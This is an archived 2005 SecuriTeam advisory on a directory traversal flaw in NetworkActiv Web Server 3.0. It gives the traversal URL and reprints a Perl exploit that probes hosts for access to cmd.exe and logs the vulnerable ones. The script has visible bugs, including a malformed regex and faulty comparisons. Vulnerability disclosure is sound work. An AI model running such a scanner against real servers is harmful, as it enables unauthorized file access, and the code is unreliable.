

[NT] NetworkActiv Web Server Directory Traversal

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-08/0084.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/18/05

To: list@securiteam.com

Date: 18 Aug 2005 16:59:19 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

NetworkActiv Web Server Directory Traversal

SUMMARY

<<http://www.networkactiv.com/Products.html>> NetworkActiv Web Server is a: "Very easy to use Windows based Web Server (HTTP Daemon) with a graphical user interface." NetworkActiv Web Server is affected by an access validation error that allows a malicious user to view and download arbitrary files.

DETAILS

Vulnerable Systems:

- * NetworkActiv Web Server version 3.0

An attacker can arbitrary files by using the the following URL:

[http://\[host\]/All%20Disk%20Drives/c/](http://[host]/All%20Disk%20Drives/c/)

Exploit Code:

```
#!/usr/local/bin/perl
```

```
#
```

```
# NetworkActiv Directory Execution Exploit
```

```
# -----
```

```
# Infam0us Gr0up – Securiti Research
```

```
#
```

Securiteam: [NT] NetworkActiv Web Server Directory Traversal

```
#
# [+] Connect to localhost..wait
# [+] Connected
# [+] Now Scanning localhost..
# [+] Found: /All%20Disk%20Drives/C:/winnt/system32/cmd.exe
#
# Tested on Windows2000 SP4 (Win NT)
# Info: infamous.2hell.com
#

$ARGC=@ARGV;
if ($ARGC !=2) {

    print " NetworkActiv Directory Execution Exploit\n";
    print "-----\n\n";
    print "Usage: $0 [remote IP]\n";
    print "Exam: $0 127.0.0.1\n";
    exit;
}

use Socket;

$www = $ARGV[0];
$port = $ARGV[1];
$timeout = 2;
$agent = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040506
";

print "[+] Connect to $www..wait\n";

if (-e "$www") {
    open(T, "$www") || die "[-] Invalid address $www\n";
    @target = <T>;
    close(T);
}

else { @target[0] = $www; }

@scripts = ("All%20Disk%20Drives");
open(LOG, ">>$www.log") || die "[-] couldn't open a file for writing
log\n";

foreach $script (@scripts) {
    $get = "GET /$script/c:/winnt/system32/cmd.exe HTTP/1.0 \n$agent\n";
    $vuln = "/All%20Disk%20Drives/C:/winnt/system32/cmd.exe ";
    foreach $site (@target) {
        unless(fork()) {
            chop($site) if $site =~ \n$/; &connect($site);
        }
    }
}
}
```

Securiteam: [NT] NetworkActiv Web Server Directory Traversal

```
sub connect {
my ($ste) = @_ ;
$addr = inet_aton($ste) || die "[ - ] $ste doesn't seem exist...\n";
$paddr = sockaddr_in($port, $addr);
$proto = getprotobyname('tcp');
socket(SCAN, PF_INET, SOCK_STREAM, $proto) || die("Error: couldn't create
socket ");
connect(SCAN, $paddr) || die "[ - ] Couldn't connect to $ste...\n";

print "[+] Connected\n";
sleep(1);
print "[+] Now Scanning $www..\n";
sleep(2);
send(SCAN, $get, 0);

$blackout = <SCAN>;
($http,$code,$www) == split(/ /, $blackout);
if ($code == "HTTP/1.1 200 OK") {
print "[+] Found: $vuln \n";
print LOG "Scanning $ste: $vuln [Vulnerable]\n";
}
else
{
print "[ - ] Failed: $www cause protected!\n"; }
close(SCAN);
exit(0);
}
close(LOG);
exit;
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:basher13@linuxmail.org>
basher13.

The original article can be found at:

<http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=81>
http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=81

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,

Securiteam: [NT] NetworkActiv Web Server Directory Traversal

loss of business profits or special damages.